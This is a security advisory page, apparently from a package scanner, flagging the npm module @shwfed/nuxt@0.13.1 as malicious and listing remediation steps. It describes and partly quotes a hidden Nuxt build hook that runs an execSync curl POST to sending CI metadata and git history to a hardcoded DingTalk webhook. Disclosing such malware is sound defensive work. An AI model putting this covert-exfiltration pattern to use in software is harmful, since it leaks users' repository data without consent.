@shwfed/nuxt
This report shows the evidence for @shwfed/nuxt@0.13.1. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4444 confirms this npm version as malicious.
Advisory
MAL-2026-4444
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @shwfed/nuxt (npm)
Details
@shwfed/nuxt is published as a Nuxt UI module but contains undocumented build-hook code that, when a consumer integrates the module and runs a build under CI, POSTs the consumer's CI/build metadata and recent git history to a hardcoded third-party DingTalk webhook owned by the package author. In dist/module.mjs, the `build:error` and `build:done` Nuxt hooks invoke `execSync("curl -s -X POST '${url}'... -d @-", { input: payload })` against `https://oapi.dingtalk.com/robot/send` with an embedded `access_token` (`a01e0fdf...`) and an embedded HMAC signing secret (`SEC9d852...`). The payload includes JOB_NAME, BUILD_NUMBER, branch name, RUN_DISPLAY_URL, build error message, the last 5 git log entries (commit subjects and author names) from the consumer's repository, and the last commit author. The destination is fixed in the source — not configurable, not documented, and unrelated to the module's advertised UI-component purpose. Any consumer that adds this module to their Nuxt config and runs CI builds leaks build status and recent git commit metadata (including third-party committer names) to the author's DingTalk channel without consent.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to @shwfed/nuxt@0.13.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @shwfed/nuxt@0.13.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.